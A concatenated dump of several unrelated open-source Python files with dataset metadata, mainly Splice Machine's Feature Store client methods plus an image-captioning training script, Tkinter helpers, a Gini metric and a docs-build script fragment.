\"pipeline_interval\": pipeline_interval, \"pipes\": pipes }\n params = { \"version\" : version }\n\n print(f'Altering Pipeline {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.PIPELINES}/{name}', RequestType.PATCH, self._auth, params=params, body=p_dict)\n r['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in r['pipes']]\n return Pipeline(**r)\n\n def remove_pipeline(self, name: str, version: Union[int, str] = None) -> None:\n \"\"\"\n Removes an existing version of a pipeline. If no versions remain, deletes pipeline metadata.\n\n :param name: The pipeline name.\n :param version: The version to remove (either an int or 'latest'). If None, removes all versions\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipeline cannot be None!\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n p_dict = { \"version\": version }\n\n print(f'Removing Pipe {name} from the Feature Store')\n make_request(self._FS_URL, f'{Endpoints.PIPELINES}/{name}', RequestType.DELETE, self._auth, params=p_dict)\n\n def deploy_pipeline(self, name: str, schema_name: str, table_name: str, version: Union[str, int] = 'latest'):\n \"\"\"\n Deploys a pipeline to a specified feature set. This schedules the pipeline as an Airflow DAG, with each pipe as its own task\n\n :param name: The name of the pipeline\n :param schema_name: The schema of the feature set\n :param table_name: The table of the feature set\n :param version: The version of the pipeline to deploy\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n print(f'Deploying Pipeline {name}...',end=' ')\n r = make_request(self._FS_URL, Endpoints.DEPLOY_PIPELINE, RequestType.POST, self._auth, { \"name\": name, \"schema\": schema_name, \"table\": table_name, \"version\": version })\n print('Done.')\n r['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in r['pipes']]\n return Pipeline(**r)\n\n def undeploy_pipeline(self, name: str, version: Union[str, int] = 'latest'):\n \"\"\"\n Undeploys a pipeline to a specified feature set. This unschedules the associated Airflow DAG\n\n :param name: The name of the pipeline\n :param version: The version of the pipeline to undeploy\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n print(f'Undeploying Pipeline {name}...',end=' ')\n r = make_request(self._FS_URL, Endpoints.UNDEPLOY_PIPELINE, RequestType.POST, self._auth, { \"name\": name, \"version\": version })\n print('Done.')\n r['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in r['pipes']]\n return Pipeline(**r)\n\n def create_source(self, name: str, sql: str, event_ts_column: datetime,\n update_ts_column: datetime, primary_keys: List[str]):\n \"\"\"\n Creates, validates, and stores a source in the Feature Store that can be used to create a Pipeline that\n feeds a feature set\n\n :Example:\n .. code-block:: python\n\n fs.create_source(\n name='CUSTOMER_RFM',\n sql='SELECT * FROM RETAIL_RFM.CUSTOMER_CATEGORY_ACTIVITY',\n event_ts_column='INVOICEDATE',\n update_ts_column='LAST_UPDATE_TS',\n primary_keys=['CUSTOMERID']\n )\n\n :param name: The name of the source. This must be unique across the feature store\n :param sql: the SQL statement that returns the base result set to be used in future aggregation pipelines\n :param event_ts_column: The column of the source query that determines the time of the event (row) being\n described. This is not necessarily the time the record was recorded, but the time the event itself occured.\n\n :param update_ts_column: The column that indicates the time when the record was last updated. When scheduled\n pipelines run, they will filter on this column to get only the records that have not been queried before.\n\n :param primary_keys: The list of columns in the source SQL that uniquely identifies each row. These become\n the primary keys of the feature set(s) that is/are eventually created from this source.\n \"\"\"\n source = {\n 'name': name.upper(),\n 'sql_text': sql,\n 'event_ts_column': event_ts_column,\n 'update_ts_column': update_ts_column,\n 'pk_columns': primary_keys\n\n }\n print(f'Registering Source {name.upper()} in the Feature Store')\n make_request(self._FS_URL, Endpoints.SOURCE, method=RequestType.POST, auth=self._auth, body=source)\n\n def remove_source(self, name: str):\n \"\"\"\n Removes a Source by name. You cannot remove a Source that has child dependencies (Feature Sets). If there is a\n Feature Set that is deployed and a Pipeline that is feeding it, you cannot delete the Source until you remove\n the Feature Set (which in turn removes the Pipeline)\n\n :param name: The Source name\n \"\"\"\n print(f'Deleting Source {name}...', end=' ')\n make_request(self._FS_URL, Endpoints.SOURCE, method=RequestType.DELETE,\n auth=self._auth, params={'name': name})\n print('Done.')\n\n def create_aggregation_feature_set_from_source(self, source_name: str, schema_name: str, table_name: str,\n start_time: datetime, schedule_interval: str,\n aggregations: List[FeatureAggregation],\n backfill_start_time: datetime = None, backfill_interval: str = None,\n description: Optional[str] = None,\n run_backfill: Optional[bool] = True\n ):\n \"\"\"\n Creates a temporal aggregation feature set by creating a pipeline linking a Source to a feature set.\n Sources are created with :py:meth:`features.FeatureStore.create_source`.\n Provided aggregations will generate the features for the feature set. This will create the feature set\n along with aggregation calculations to create features\n\n :param source_name: The name of the of the source created via create_source\n :param schema_name: The schema name of the feature set\n :param table_name: The table name of the feature set\n :param start_time: The start time for the pipeline to run\n :param schedule_interval: The frequency with which to run the pipeline.\n :param aggregations: The list of FeatureAggregations to apply to the column names of the source SQL statement\n :param backfill_start_time: The datetime representing the earliest point in time to get data from when running\n backfill\n :param backfill_interval: The \"sliding window\" interval to increase each timepoint by when performing backfill\n :param run_backfill: Whether or not to run backfill when calling this function. Default False. If this is True\n backfill_start_time and backfill_interval MUST BE SET\n :return: (FeatureSet) the created Feature Set\n\n :Example:\n .. code-block:: python\n\n from splicemachine.features.pipelines import AggWindow, FeatureAgg, FeatureAggregation\n from datetime import datetime\n source_name = 'CUSTOMER_RFM'\n fs.create_source(\n name=source_name,\n sql='SELECT * FROM RETAIL_RFM.CUSTOMER_CATEGORY_ACTIVITY',\n event_ts_column='INVOICEDATE',\n update_ts_column='LAST_UPDATE_TS',\n primary_keys=['CUSTOMERID']\n )\n fs.create_aggregation_feature_set_from_source(\n\n )\n start_time = datetime.today()\n schedule_interval = AggWindow.get_window(5,AggWindow.DAY)\n backfill_start = datetime.strptime('2002-01-01 00:00:00', '%Y-%m-%d %H:%M:%S')\n backfill_interval = schedule_interval\n fs.create_aggregation_feature_set_from_source\n (\n source_name, 'RETAIL_FS', 'AUTO_RFM', start_time=start_time,\n schedule_interval=schedule_interval, backfill_start_time=backfill_start,\n backfill_interval=backfill_interval,\n aggregations = [\n FeatureAggregation(feature_name_prefix = 'AR_CLOTHING_QTY', column_name = 'CLOTHING_QTY', agg_functions=['sum','max'], agg_windows=['1d','2d','90d'], agg_default_value = 0.0 ),\n FeatureAggregation(feature_name_prefix = 'AR_DELICATESSEN_QTY', column_name = 'DELICATESSEN_QTY', agg_functions=['avg'], agg_windows=['1d','2d', '2w'], agg_default_value = 11.5 ),\n FeatureAggregation(feature_name_prefix = 'AR_GARDEN_QTY' , column_name = 'GARDEN_QTY', agg_functions=['count','avg'], agg_windows=['30d','90d', '1q'], agg_default_value = 8 )\n ]\n )\n\n This will create, deploy and return a FeatureSet called 'RETAIL_FS.AUTO_RFM'.\n The Feature Set will have 15 features:\\n\n * 6 for the `AR_CLOTHING_QTY` prefix (sum & max over provided agg windows)\n * 3 for the `AR_DELICATESSEN_QTY` prefix (avg over provided agg windows)\n * 6 for the `AR_GARDEN_QTY` prefix (count & avg over provided agg windows)\n\n A Pipeline is also created and scheduled in Airflow that feeds it every 5 days from the Source `CUSTOMER_RFM`\n Backfill will also occur, reading data from the source as of '2002-01-01 00:00:00' with a 5 day window\n \"\"\"\n schema_name, table_name, source_name = schema_name.upper(), table_name.upper(), source_name.upper()\n if (schedule_interval and not start_time) or (start_time and not schedule_interval):\n raise SpliceMachineException(\"You cannot set one of [start_time, schedule_interval]. You must set both \"\n \"or neither\")\n elif schedule_interval and start_time:\n if not AggWindow.is_valid(schedule_interval):\n raise SpliceMachineException(f'Schedule interval {schedule_interval} is not valid. '\n f'Interval must be a positive whole number '\n f'followed by a valid AggWindow (one of {AggWindow.get_valid()}). '\n f\"Examples: '5w', '2mn', '53s'\")\n\n agg_feature_set = {\n 'source_name': source_name,\n 'schema_name': schema_name,\n 'table_name': table_name,\n 'start_time': str(start_time),\n 'schedule_interval': schedule_interval,\n 'aggregations': [f.__dict__ for f in aggregations],\n 'backfill_start_time': str(backfill_start_time),\n 'backfill_interval': backfill_interval,\n 'description': description\n }\n num_features = sum([len(f.agg_functions) * len(f.agg_windows) for f in aggregations])\n print(f'Registering aggregation feature set {schema_name}.{table_name} and {num_features} features'\n f' in the Feature Store...', end=' ')\n r = make_request(self._FS_URL, Endpoints.AGG_FEATURE_SET_FROM_SOURCE, RequestType.POST, self._auth,\n params={'run_backfill': run_backfill}, body=agg_feature_set)\n print('Done.')\n msg = f'Your feature set {schema_name}.{table_name} has been registered in the feature store. '\n if run_backfill:\n msg += '\\nYour feature set is currently being backfilled which may take some time to complete. ' \\\n 'To see the status and logs of your backfill job, navigate to the Workflows tab in Cloud Manager ' \\\n 'or head directly to your Airflow URL. '\n if start_time and schedule_interval:\n msg += f'\\nYour Pipeline has been scheduled for {str(start_time)} and will run every {schedule_interval}. ' \\\n f'You can view it in the Workflows tab in Cloud Manager or head directly to your Airflow URL'\n print(msg)\n return FeatureSet(**r)\n\n def get_backfill_sql(self, schema_name: str, table_name: str):\n \"\"\"\n Returns the necessary parameterized SQL statement to perform backfill on an Aggregate Feature Set. The Feature\n Set must have been deployed using the :py:meth:`features.FeatureStore.create_aggregation_feature_set_from_source`\n function. Meaning there must be a Source and a Pipeline associated to it. This function will likely not be\n necessary as you can perform backfill at the time of feature set creation automatically.\n\n This SQL will be parameterized and need a timestamp to execute. You can get those timestamps with the\n :py:meth:`features.FeatureStore.get_backfill_interval` with the same parameters\n\n :param schema_name: The schema name of the feature set\n :param table_name: The table name of the feature set\n :return: The parameterized Backfill SQL\n \"\"\"\n\n p = {\n 'schema': schema_name,\n 'table': table_name\n }\n return make_request(self._FS_URL, Endpoints.BACKFILL_SQL, RequestType.GET, self._auth, params=p)\n\n def get_pipeline_sql(self, schema_name: str, table_name: str):\n \"\"\"\n Returns the incremental pipeline SQL that feeds a feature set from a source (thus creating a pipeline).\n Pipelines are managed for you by default by Splice Machine via Airflow, but if you opt out of using the\n managed pipelines you can use this function to get the incremental SQL.\n\n This SQL will be parameterized and need a timestamp to execute. You can get those timestamps with the\n :py:meth:`features.FeatureStore.get_backfill_interval` with the same parameters\n\n :param schema_name: The schema name of the feature set\n :param table_name: The table name of the feature set\n :return: The incremental Pipeline SQL\n \"\"\"\n\n p = {\n 'schema': schema_name,\n 'table': table_name\n }\n return make_request(self._FS_URL, Endpoints.PIPELINE_SQL, RequestType.GET, self._auth, params=p)\n\n def get_backfill_intervals(self, schema_name: str, table_name: str) -> List[datetime]:\n \"\"\"\n Gets the backfill intervals necessary for the parameterized backfill SQL obtained from the\n :py:meth:`features.FeatureStore.get_backfill_sql` function. This function will likely not be\n necessary as you can perform backfill at the time of feature set creation automatically.\n\n :param schema_name: The schema name of the feature set\n :param table_name: The table name of the feature set\n :return: The list of datetimes necessary to parameterize the backfill SQL\n \"\"\"\n p = {\n 'schema': schema_name,\n 'table': table_name\n }\n return make_request(self._FS_URL, Endpoints.BACKFILL_INTERVALS, RequestType.GET, self._auth, params=p)\n\n def _retrieve_model_data_sets(self, schema_name: str, table_name: str):\n \"\"\"\n Returns the training set dataframe and model table dataframe for a given deployed model.\n\n :param schema_name: model schema name\n :param table_name: model table name\n :return:\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n training_set_df = self.get_training_set_from_deployment(schema_name, table_name)\n model_table_df = self.splice_ctx.df(f'SELECT * FROM {schema_name}.{table_name}')\n return training_set_df, model_table_df\n\n def _retrieve_training_set_metadata_from_deployement(self, schema_name: str, table_name: str):\n \"\"\"\n Reads Feature Store metadata to retrieve definition of training set used to train the specified model.\n :param schema_name: model schema name\n :param table_name: model table name\n :return:\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n sql = SQL.get_deployment_metadata.format(schema_name=schema_name, table_name=table_name)\n deploy_df = self.splice_ctx.df(sql).collect()\n cnt = len(deploy_df)\n if cnt == 1:\n return deploy_df[0]\n\n def display_model_feature_drift(self, schema_name: str, table_name: str):\n \"\"\"\n Displays feature by feature comparison between the training set of the deployed model and the input feature\n values used with the model since deployment.\n\n :param schema_name: name of database schema where model table is deployed\n :param table_name: name of the model table\n :return: None\n \"\"\"\n try:\n from .utils.drift_utils import build_feature_drift_plot\n except:\n raise SpliceMachineException('You must have matplotlib installed to call this function')\n\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n metadata = make_request(self._FS_URL, Endpoints.TRAINING_SET_FROM_DEPLOYMENT, RequestType.GET,\n self._auth, params={\"schema\": schema_name, \"table\": table_name})['metadata']\n\n training_set_df, model_table_df = self._retrieve_model_data_sets(schema_name, table_name)\n features = [f.upper() for f in metadata['features'].split(',')]\n build_feature_drift_plot(features, training_set_df, model_table_df)\n\n def display_model_drift(self, schema_name: str, table_name: str, time_intervals: int,\n start_time: datetime = None, end_time: datetime = None):\n \"\"\"\n Displays as many as `time_intervals` plots showing the distribution of the model prediction within each time\n period. Time periods are equal periods of time where predictions are present in the model table\n `schema_name.table_name`. Model predictions are first filtered to only those occurring after `start_time` if\n specified and before `end_time` if specified.\n\n :param schema_name: schema where the model table resides\n :param table_name: name of the model table\n :param time_intervals: number of time intervals to plot\n :param start_time: if specified, filters to only show predictions occurring after this date/time\n :param end_time: if specified, filters to only show predictions occurring before this date/time\n \"\"\"\n try:\n from .utils.drift_utils import build_model_drift_plot\n except:\n raise SpliceMachineException('You must have matplotlib installed to call this function')\n \n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n # set default timeframe if not specified\n if not start_time:\n start_time = datetime(1900, 1, 1, 0, 0, 0)\n if not end_time:\n end_time = datetime.now()\n # retrieve predictions the model has made over time\n sql = SQL.get_model_predictions.format(schema_name=schema_name, table_name=table_name,\n start_time=start_time, end_time=end_time)\n model_table_df = self.splice_ctx.df(sql)\n build_model_drift_plot(model_table_df, time_intervals)\n\n def display_feature_search(self, pandas_profile=True):\n \"\"\"\n Returns an interactive feature search that enables users to search for features and profiles the selected Feature.\n Two forms of this search exist. 1 for use inside of the managed Splice Machine notebook environment, and one\n for standard Jupyter. This is because the managed Splice Jupyter environment has extra functionality that would\n not be present outside of it. The search will be automatically rendered depending on the environment.\n\n :param pandas_profile: Whether to use pandas / spark to profile the feature. If pandas is selected\n but the dataset is too large, it will fall back to Spark. Default Pandas.\n \"\"\"\n # Need IPython for this function\n try:\n from splicemachine.notebook import _in_splice_compatible_env\n except:\n raise SpliceMachineException('You must be running in IPython or Jupyter with IPython installed to use this function')\n # It may have the attr but be None\n if not (hasattr(self, 'splice_ctx') and isinstance(self.splice_ctx, PySpliceContext)):\n raise SpliceMachineException('You must register a Splice Machine Context (PySpliceContext) in order to use '\n 'this function currently')\n # This will show a warning if packages are missing, and we don't want that at the top level to always be shown\n from splicemachine.features.utils.search_utils import feature_search_external, feature_search_internal\n if _in_splice_compatible_env():\n feature_search_internal(self, pandas_profile)\n else:\n feature_search_external(self, pandas_profile)\n\n def __get_pipeline(self, df, features, label, model_type):\n \"\"\"\n Creates a Pipeline with preprocessing steps (StringINdexer, VectorAssembler) for each feature depending\n on feature type, and returns the pipeline for training for feature elimination\n\n :param df: Spark Dataframe\n :param features: List[Feature] to train on\n :param label: Label name to train on\n :param model_type: (str) the model type - avl options are \"classification\" and \"regression\"\n :return: Unfit Spark Pipeline\n \"\"\"\n categorical_features = [f.name for f in features if f.is_categorical()]\n numeric_features = [f.name for f in features if f.is_continuous() or f.is_ordinal()]\n indexed_features = [f'{n}_index' for n in categorical_features]\n\n si = [StringIndexer(inputCol=n, outputCol=f'{n}_index', handleInvalid='keep') for n in categorical_features]\n all_features = numeric_features + indexed_features\n\n v = VectorAssembler(inputCols=all_features, outputCol='features', handleInvalid='keep')\n if model_type == 'classification':\n si += [StringIndexer(inputCol=label, outputCol=f'{label}_index', handleInvalid='keep')]\n clf = RandomForestClassifier(labelCol=f'{label}_index')\n else:\n clf = RandomForestRegressor(labelCol=label)\n return Pipeline(stages=si + [v, clf]).fit(df)\n\n def __get_feature_importance(self, feature_importances, df, features_column):\n \"\"\"\n Gets the ordered feature importance for the feature elimination rounds\n :param feature_importances: Spark model featureImportances attribute\n :param df: Spark dataframe\n :param features_column: Column name of the dataframe that holds the features\n :return: Sorted pandas dataframe with the feature importances and feature names\n \"\"\"\n feature_rank = []\n for i in df.schema[features_column].metadata[\"ml_attr\"][\"attrs\"]:\n feature_rank += df.schema[features_column].metadata[\"ml_attr\"][\"attrs\"][i]\n features_df = pd.DataFrame(feature_rank)\n features_df['score'] = features_df['idx'].apply(lambda x: feature_importances[x])\n return (features_df.sort_values('score', ascending=False))\n\n def __log_mlflow_results(self, name, rounds, mlflow_results):\n \"\"\"\n Logs the results of feature elimination to mlflow\n\n :param name: MLflow run name\n :param rounds: Number of rounds of feature elimination that were run\n :param mlflow_results: The params / metrics to log\n :return:\n \"\"\"\n try:\n if self.mlflow_ctx.active_run():\n self.mlflow_ctx.start_run(run_name=name)\n for r in range(rounds):\n with self.mlflow_ctx.start_run(run_name=f'Round {r}', nested=True):\n self.mlflow_ctx.log_metrics(mlflow_results[r])\n finally:\n self.mlflow_ctx.end_run()\n\n def __prune_features_for_elimination(self, features) -> List[Feature]:\n \"\"\"\n Removes incompatible features from the provided list if they are not compatible with SparkML modeling\n\n :param features: List[Feature] the provided list\n :return: List[Features] the pruned list\n \"\"\"\n from splicemachine.spark.constants import SQL_MODELING_TYPES\n invalid_features = {f for f in features if f.feature_data_type['data_type'] not in SQL_MODELING_TYPES}\n valid_features = list(set(features) - invalid_features)\n if invalid_features: print('The following features are invalid for modeling based on their Data Types:\\n')\n for f in invalid_features:\n print(f.name, f.feature_data_type)\n return valid_features\n\n def run_feature_elimination(self, df, features: List[Union[str, Feature]], label: str = 'label', n: int = 10,\n verbose: int = 0, model_type: str = 'classification', step: int = 1,\n log_mlflow: bool = False, mlflow_run_name: str = None,\n return_importances: bool = False):\n\n \"\"\"\n Runs feature elimination using a Spark decision tree on the dataframe passed in. Optionally logs results to mlflow\n\n :param df: The dataframe with features and label\n :param features: The list of feature names (or Feature objects) to run elimination on\n :param label: the label column names\n :param n: The number of features desired. Default 10\n :param verbose: The level of verbosity. 0 indicated no printing. 1 indicates printing remaining features after\n each round. 2 indicates print features and relative importances after each round. Default 0\n :param model_type: Whether the model to test with will be a regression or classification model. Default classification\n :param log_mlflow: Whether or not to log results to mlflow as nested runs. Default false\n :param mlflow_run_name: The name of the parent run under which all subsequent runs will live. The children run\n names will be {mlflow_run_name}_{num_features}_features. ie testrun_5_features, testrun_4_features etc\n :return:\n \"\"\"\n\n train_df = df\n features = self._process_features(features)\n remaining_features = self.__prune_features_for_elimination(features)\n rnd = 0\n mlflow_results = []\n assert len(\n remaining_features) > n, \\\n \"You've set the number of desired features (n) greater than the number of available features\"\n while len(remaining_features) > n:\n rnd += 1\n num_features = max(len(remaining_features) - step, n) # Don't go less than the specified value\n print(f'Building {model_type} model')\n model = self.__get_pipeline(train_df, remaining_features, label, model_type)\n print('Getting feature importance')\n feature_importances = self.__get_feature_importance(model.stages[-1].featureImportances,\n model.transform(train_df), \"features\").head(\n num_features)\n remaining_features_and_label = list(feature_importances['name'].values) + [label]\n train_df = train_df.select(*remaining_features_and_label)\n remaining_features = [f for f in remaining_features if f.name in feature_importances['name'].values]\n print(f'{len(remaining_features)} features remaining')\n\n if verbose == 1:\n print(f'Round {rnd} complete. Remaining Features:')\n for i, f in enumerate(list(feature_importances['name'].values)):\n print(f'{i}. {f}')\n elif verbose == 2:\n print(f'Round {rnd} complete. Remaining Features:')\n display(feature_importances.reset_index(drop=True))\n\n # Add results to a list for mlflow logging\n round_metrics = {'Round': rnd, 'Number of features': len(remaining_features)}\n for index, row in feature_importances.iterrows():\n round_metrics[row['name']] = row['score']\n mlflow_results.append(round_metrics)\n\n if log_mlflow and self.mlflow_ctx:\n run_name = mlflow_run_name or f'feature_elimination_{label}'\n self.__log_mlflow_results(run_name, rnd, mlflow_results)\n\n return remaining_features, feature_importances.reset_index(\n drop=True) if return_importances else remaining_features\n\n def link_training_set_to_mlflow(self, features: Union[List[Feature], List[str]], create_time: datetime,\n start_time: datetime = None,\n end_time: datetime = None, tvw: TrainingView = None,\n current_values_only: bool = False,\n training_set_id: Optional[int] = None, training_set_version: Optional[int] = None,\n training_set_name: Optional[str] = None):\n\n # Here we create a null training view and pass it into the training set. We do this because this special kind\n # of training set isn't standard. It's not based on a training view, on primary key columns, a label column,\n # or a timestamp column . This is simply a joined set of features from different feature sets.\n # But we still want to track this in mlflow as a user may build and deploy a model based on this. So we pass in\n # a null training view that can be tracked with a \"name\" (although the name is None). This is a likely case\n # for (non time based) clustering use cases.\n\n if not tvw:\n tvw = TrainingView(pk_columns=[], ts_column=None, label_column=None, view_sql=None, name=None,\n description=None)\n ts = TrainingSet(training_view=tvw, features=features, create_time=create_time,\n start_time=start_time, end_time=end_time, training_set_id=training_set_id,\n training_set_version=training_set_version, training_set_name=training_set_name)\n\n # If the user isn't getting historical values, that means there isn't really a start_time, as the user simply\n # wants the most up to date values of each feature. So we set start_time to end_time (which is datetime.today)\n if current_values_only:\n ts.start_time = ts.end_time\n\n self.mlflow_ctx._active_training_set: TrainingSet = ts\n ts._register_metadata(self.mlflow_ctx)\n\n def set_feature_store_url(self, url: str):\n \"\"\"\n Sets the Feature Store URL. You must call this before calling any feature store functions, or set the FS_URL\n environment variable before creating your Feature Store object\n\n :param url: The Feature Store URL\n \"\"\"\n self._FS_URL = url\n\n def login_fs(self, username, password):\n \"\"\"\n Function to login to the Feature Store using basic auth. These correspond to your Splice Machine database user\n and password. If you are running outside of the managed Splice Machine Cloud Service, you must call either\n this or set_token in order to call any functions in the feature store, or by setting the SPLICE_JUPYTER_USER and\n SPLICE_JUPYTER_PASSWORD environments variable before creating your FeatureStore object.\n\n :param username: Username\n :param password: Password\n \"\"\"\n self._auth = HTTPBasicAuth(username, password)\n\n def set_token(self, token):\n \"\"\"\n Function to login to the Feature Store using JWT. This corresponds to your Splice Machine database user's JWT\n token. If you are running outside of the managed Splice Machine Cloud Service, you must call either\n this or login_fs in order to call any functions in the feature store, or by setting the SPLICE_JUPYTER_TOKEN\n environment variable before creating your FeatureStore object.\n\n :param token: JWT Token\n \"\"\"\n self._auth = token\n\n def __try_auto_login(self):\n \"\"\"\n Tries to login the user automatically. This will only work if the user is not\n using the cloud service.\n\n :return: None\n \"\"\"\n token = _get_token()\n if token:\n self.set_token(token)\n return\n\n user, password = _get_credentials()\n if user and password:\n self.login_fs(user, password)\n","repo_name":"splicemachine/pysplice","sub_path":"splicemachine/features/feature_store.py","file_name":"feature_store.py","file_ext":"py","file_size_in_byte":106869,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"23"} +{"seq_id":"14423333879","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 6 17:45:05 2020\n\n@author: ratul\n\"\"\"\n\nimport torch, argparse, os, json\nfrom torch import nn\nfrom dataset import get_dataloaders\nfrom models import get_model \nfrom utils import SEED_EVERYTHING, AverageMeter, evaluate, calc_bleu_score\nfrom tqdm import tqdm\n\ndef train(args):\n global img, tgt_caption\n SEED_EVERYTHING()\n batch_size = args.batch_size\n epochs = args.epochs\n device = torch.device(args.device)\n train_dataloader, valid_dataloader = get_dataloaders(batch_size)\n \n with open('config.json','r') as f:\n model_config = json.load(f)\n \n model = get_model(**model_config) #Seq2SeqModel(dropout_p=0.25, hidden_size=256,num_layers=1)\n model.to(device)\n# for param in model.encoder.parameters():\n# param.requires_grad = False\n print(model)\n print(model.decoder.embedding.weight.requires_grad)\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-4)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, factor=0.7, patience=2, verbose=True, min_lr=1e-6, mode='max')\n \n if args.resume_from is not None:\n state = torch.load(args.resume_from)\n model.load_state_dict(state['model_state_dict'])\n optimizer.load_state_dict(state['optimizer_state_dict'])\n scheduler.load_state_dict(state['scheduler_state_dict'])\n \n if args.mixed_precision:\n scaler = torch.cuda.amp.GradScaler()\n \n loss_func = nn.CrossEntropyLoss(ignore_index=args.padding_idx)\n best_bleu = 0\n for epoch_i in range(epochs): \n loss_meter = AverageMeter()\n bleu_meter = AverageMeter()\n pbar = tqdm(train_dataloader, total=len(train_dataloader))\n model.train() \n for step, batch in enumerate(pbar):\n img = batch[0].to(device)\n tgt_caption = batch[1].to(device)\n \n optimizer.zero_grad() \n if args.mixed_precision:\n with torch.cuda.amp.autocast():\n outputs = model(img, tgt_caption)\n loss = loss_func(outputs.view(-1, args.padding_idx), tgt_caption[1:].view(-1))\n scaler.scale(loss).backward() \n scaler.unscale_(optimizer)\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n scaler.step(optimizer) \n scaler.update()\n else:\n outputs = model(img, tgt_caption)\n loss = loss_func(outputs.view(-1, args.padding_idx), tgt_caption[1:].view(-1))\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n optimizer.step()\n \n pred_captions = outputs.argmax(2).cpu().numpy()\n true_captions = batch[1][1:].numpy()\n \n bleu = calc_bleu_score(true_captions, pred_captions)\n \n loss_meter.update(loss.item())\n bleu_meter.update(bleu)\n \n pbar.set_postfix({'loss':loss_meter.avg, 'bleu':bleu_meter.avg})\n \n valid_loss, valid_bleu = evaluate(model, valid_dataloader, device, epoch_i, args.key, loss_func)\n scheduler.step(valid_bleu) \n \n if valid_bleu > best_bleu:\n print('validation bleu improved from %.4f to %.4f'%(best_bleu,valid_loss))\n print('saving model...')\n torch.save({'model_state_dict':model.state_dict(),\n 'optimizer_state_dict':optimizer.state_dict(),\n 'scheduler_state_dict':scheduler.state_dict()}, f'saved_models/{args.key}/state.pth')\n \n best_bleu = valid_bleu\n \n print(f'Epoch: {epoch_i+1}/{epochs}, train loss:{loss_meter.avg:.4f}, train bleu:{bleu_meter.avg:.4f}\\nvalid loss: {valid_loss:.4f}, valid bleu: {valid_bleu:.4f}')\n torch.cuda.empty_cache()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--key', default='test_run_again', type=str, help='name of experiment')\n parser.add_argument('--epochs', default=20, type=int, help='number of epochs for training')\n parser.add_argument('--batch_size', default=16, type=int, help='batch size used for training')\n parser.add_argument('--resume_from', default='saved_models/test_run/state.pth', help='resume from this ckpt')\n parser.add_argument('--device', default='cuda', help='device to use for training')\n parser.add_argument('--padding_idx', default=10000, type=int, help='device to use for training')\n parser.add_argument('--attention', default=False, action='store_true', help='flag to indicate whether to use model with attention')\n parser.add_argument('--mixed_precision', default=False, action='store_true', help='flag to indicate whether to use mixed precision')\n args = parser.parse_args()\n os.makedirs(f'saved_models/{args.key}',exist_ok=True)\n os.makedirs(f'sampled-texts/{args.key}',exist_ok=True)\n train(args)\n \n","repo_name":"sabbiracoustic1006/image-caption-generation","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"75015986940","text":"from random import shuffle\n\nCOLOR_PAL = [('black', 'white'), ('white', 'black'), ('red', 'white'), ('blue', 'white'), ('green', 'white'), ('yellow', 'black'),\n ('orange', 'black'), ('purple', 'white'), ('pink', 'black'), ('brown', 'white'), ('grey', 'black'), ('cyan', 'black')]\n\nshuffle(COLOR_PAL)\n\ndef get_color(index):\n return COLOR_PAL[index % len(COLOR_PAL)]\n\ndef create_tk(root, title, width=None, height=None):\n root.title(title)\n if width and height:\n root.minsize(width, height)\n root.maxsize(width, height)\n root.bind(\"\", lambda _: root.destroy())\n return root\n\n","repo_name":"Ronterox/Schedule","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"35647786263","text":"# Simple implementation of the (normalized) gini score in numpy\n# Fully vectorized, no python loops, zips, etc.\n# Significantly (>30x) faster than previous implementions\n\nimport numpy as np \n\ndef Gini(y_true, y_pred):\n # check and get number of samples\n assert y_true.shape == y_pred.shape\n n_samples = y_true.shape[0]\n \n # sort rows on prediction column \n # (from largest to smallest)\n arr = np.array([y_true, y_pred]).transpose()\n true_order = arr[arr[:,0].argsort()][::-1,0]\n pred_order = arr[arr[:,1].argsort()][::-1,0]\n \n # get Lorenz curves\n L_true = np.cumsum(true_order) / np.sum(true_order)\n L_pred = np.cumsum(pred_order) / np.sum(pred_order)\n L_ones = np.linspace(1/n_samples, 1, n_samples)\n \n # get Gini coefficients (area between curves)\n G_true = np.sum(L_ones - L_true)\n G_pred = np.sum(L_ones - L_pred)\n \n # normalize to true Gini coefficient\n return G_pred/G_true","repo_name":"adgirish/kaggleScape","sub_path":"data/rscript82.py","file_name":"rscript82.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"23"} +{"seq_id":"43098763466","text":"\nimport sire as project\nimport sys\nimport os\nimport subprocess\nimport shlex\n\ndoc_dir = sys.argv[1]\n\nbranch = project.__branch__\nrelease = project.__version__\nversion = project.__version__.split(\"+\")[0]\nrepository = project.__repository__\nrevisionid = project.__revisionid__\n\nif version.find(\"untagged\") != -1:\n print(\"This is an untagged branch\")\n version = project.__manual_version__\n\nprint(f\"Build docs for branch {branch} version {version}\")\n\n# we will only build docs for the main and devel 